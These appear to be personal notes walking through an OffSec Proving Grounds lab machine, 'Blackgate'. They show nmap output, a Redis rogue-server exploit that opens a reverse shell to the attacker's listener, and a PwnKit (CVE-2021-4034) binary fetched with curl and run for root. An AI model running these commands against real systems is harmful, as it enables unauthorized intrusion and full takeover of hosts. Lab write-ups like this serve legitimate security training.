Blackgate

Thursday, June 12, 2025 1:38 PM

https://medium.com/@gleasonbrian/offsec-proving-grounds-blackgate-writeup-49920d4188de

nmap

```
$ nmap -A -T4 -p- -oN nmap 192.168.139.176
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-12 13:50 EDT
Nmap scan report for 192.168.139.176
Host is up (0.028s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 37:21:14:3e:23:e5:13:40:20:05:f9:79:e0:82:0b:09 (RSA)
|   256 b9:8d:bd:90:55:7c:84:cc:a0:7f:a8:b4:d3:55:06:a7 (ECDSA)
|_  256 07:07:29:7a:4c:7c:f2:b0:1f:3c:3f:2b:a1:56:9e:0a (ED25519)
6379/tcp open  redis   Redis key-value store 4.0.14
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   24.82 ms 192.168.45.1
2   24.77 ms 192.168.45.254
3   24.85 ms 192.168.251.1
4   24.97 ms 192.168.139.176

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.72 seconds
```

https://github.com/n0b0dyCN/redis-rogue-server?source=post_page-----49920d4188de----------

$ip = we exported ip using "echo 'export ip="192.168.139.176"' >> ~/.zshrc && source ~/.zshrc"
python redis-rogue-server.py --rhost $ip --lhost 192.168.45.193

```
┌──(kali㉿kali)-[~/Desktop/offsec/blackgate/redis-rogue-server]
└─$ python redis-rogue-server.py --rhost $ip --lhost 192.168.45.193
/home/kali/Desktop/offsec/blackgate/redis-rogue-server/redis-rogue-server.py:11: SyntaxWarning: invalid escape sequence '\ '
  | ___ \       | (_)     | ___ \                        /  ___|
______          _ _      ______                         _____
| ___ \        | (_)     | ___ \                       /  ___|
| |_/ /___  __| |_ ___  | |_/ /___   __ _ _   _  ___  \ `--.  ___ _ ____   _____ _ __
|    // _ \/ _` | / __| |    // _ \ / _` | | | |/ _ \  `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \  __/ (_| | \__ \ | |\ \ (_) | (_| | |_| |  __/ /\__/ /  __/ |   \ V /  __/ |
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_|    \_/ \___|_|
                                     __/ |
                                    |___/
@copyright n0b0dy @ r3kapig

[info] TARGET 192.168.139.176:6379
[info] SERVER 192.168.45.193:21000
[info] Setting master...
[info] Setting dbfilename...
[info] Loading module...
[info] Temerory cleaning up...
What do u want, [i]nteractive shell or [r]everse shell: r
[info] Open reverse shell...
Reverse server address: 192.168.45.193
Reverse server port: 9002
[info] Reverse shell payload sent.
```

Got reverse shell.

```
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -nvlp 9002
Listening on 0.0.0.0 9002
Connection received on 192.168.139.176 34640
id
uid=1001(prudence) gid=1001(prudence) groups=1001(prudence)
bash -i
bash: cannot set terminal process group (2111): Inappropriate ioctl for device
bash: no job control in this shell
prudence@blackgate:/tmp$ _
```

Run linpeas.sh

```
[+] [CVE-2021-4034] PwnKit

   Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
   Exposure: probable
   Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
   Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
```

https://github.com/ly4k/PwnKit

```
prudence@blackgate:/tmp$ curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
```

We are root.

```
prudence@blackgate:/tmp$ chmod +x ./PwnKit
prudence@blackgate:/tmp$ ./PwnKit
root@blackgate:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1001(prudence)
```